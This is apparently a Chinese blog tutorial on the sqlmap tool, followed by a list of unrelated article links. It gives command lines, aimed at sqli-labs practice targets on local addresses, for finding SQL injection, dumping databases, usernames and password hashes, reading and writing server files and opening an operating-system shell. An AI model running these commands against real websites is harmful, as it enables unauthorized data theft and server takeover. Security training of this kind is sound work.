sqlmap使用教程
1.SQLMAP介绍
Sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定url的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、postgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、sybase和SAP MaxDB。
Sqlmap采用了以下5中独特的SQL注入技术。
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
- 联合查询注入,在可以使用union的情况下的注入。
- 堆查询注入,可以同时执行多条语句时的注入。
SQLmap的强大功能包括数据库指纹识别、数据库枚举、数据库提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。Sqlmap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用sqlmap会有意想不到的效果。
2.SQLMAP入门
2.1 判断是否存在注入
>python sqlmap.py -u http://192.168.1.106/sql/Less-1/?id=1
当参数个数>=2时
>python sqlmap.py -u "http://192.168.1.106/sql/Less-19/?Username=1&Password=1"
2.2 判断文本中的请求是否存在注入
Sqlmap.py –r 1.txt
当target为其他时
-d # 直接连接数据库 -u # 目标 URL -l # 从 Burp 或者 WebScarab 加载一个日志文件 -x # 从远程网站地图(sitemap).xml 文件加载目标 -r # 从文件中加载目标【重要】 -g # 从 google 结果中加载目标 -c # 从配置文件(.ini)中加载目标
2.3 查询当前用户下的所有数据库
该命令是确定网站存在注入后,用于查询当前用户下的所有数据库,如下所示。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有数据库
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --dbs
2.4 获取数据库中的表名
该命令的作用是查询完数据库后,查询指定数据库中所有的表名。
如果在该命令中不加入-D参数来指定某一个具体的数据库,那么sqlmap会列出数据库中所有库的表
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 –D security --tables
2.5 获取表中的字段名
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 –D security –T users --columns
2.6 获取字段内容
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 –D security –T users –C id,password,username --dump
2.7 获取数据库中所有的用户
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --users
2.8 获取数据库用户的密码
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --passwords
2.9 获取当前网站数据库的名称
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --current-db
2.10 获取当前网站数据库的用户名称
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --current-user
3.SQLMAP进阶——参数讲解
3.1 --level 5:探测等级
参数--level 5指需要执行的测试等级,一共有5个等级(1-5),可以不用加level,默认是1。Sqlmap使用的payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的payload,其中5级包含的payload最多,会自动破解出cookie、xff等头部注入。当然,level 5 的运行速度也比较慢。
这个参数会影响测试的注入点,get和post的数据都会进行测试,http cookie在level为2的时候就会测试,http user-agent/referer头在level为3的时候就会测试。总之,在不确定那个payload或者参数为注入点时,为了保证全面性,建议使用高的level值。
3.2 --is-dba:当前用户是否为管理权限
qlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --is-dba
3.3 --roles:列出数据库管理员的角色
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --roles
3.4 --referer:HTTP Referer头
Sqlmap可以在请求中伪造http中的referer,当level参数设定为3或者3以上时,会尝试对referer头注入。可以使用referer命令来欺骗,如:--referer http://www.baidu.com
3.5 --sql-shell:运行自定义sql语句
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --sql-shell
3.6 --os-cmd,--os-shell:运行任意操作系统命令
该命令用于执行任意操作系统命令
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --os-shell
请特别注意:使用该命令有几个必须具备的条件
1.数据库用户是dba权限
2.知道网站的绝对路径
3.php当中的gpc为off,php自动转义为关闭状态
4.就算具备以上3个条件,因为涉及到系统命令,也未必可以执行成功
3.7 --file-read:从数据库服务器中读取文件
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --file-read “C:/1.txt”
3.8 --file-write,--file-dest:上传文件到数据库服务器中
Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --file-write “上传文件路径(相对路径)” --file-dest ”目标文件系统绝对路径
原文地址:https://www.cnblogs.com/fengzhongren/p/14326363.html
- 手机端调用系统相册并上传图片
- select自定义小三角样式
- 一个非常好用的文字滚动的案例,鼠标悬浮可暂停
- localstorage和sessionstorage上手使用记录
- jquery升级到新版本报错[jQuery] Cannot read property ‘msie’ of undefined错误的解决方法(转)
- thinphp框架的项目svn重新检出后的必备配置
- 对事件委托绑定click的事件的解绑
- 免杀后门之MSF&Veil-Evasion的完美结合
- 【52ABP实战教程】0.3-- 从GitHub推送代码回VSTS实现双向同步
- css绝对定位如何在不同分辨率下的电脑正常显示定位位置?
- nvm安装node和npm,个人踩坑记录
- clang_intprt_t类型探究
- 学习zepto.js(Hello World)
- JS中函数声明与函数表达式的异同
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Mac之vim普通命令使用
- selenium库的基本使用
- 高效大数据开发之 bitmap 思想的应用
- 从0到1实现一个虚拟DOM
- Xenomai XDDP example and Posix Compling
- 项目实践|基于Flink的用户行为日志分析系统
- 手把手教你用Matplotlib画一个小清新配色的商业图表
- 高并发场景下锁的使用技巧
- Struts2第四天:Struts2的拦截器和标签库
- kubernete编排技术八:使用operator管理有状态应用
- Spring第一天:Spring的概述、SpringIOC入门(XML)、Spring的Bean管理、Spring属性注入
- Flink的处理背压原理及问题-面试必备
- Spring第二天:Spring的IOC的注解方式、Spring的AOP开发(XML)
- OpenCV还能实现这种效果? | 视频防抖技术
- 迁移到 Go Modules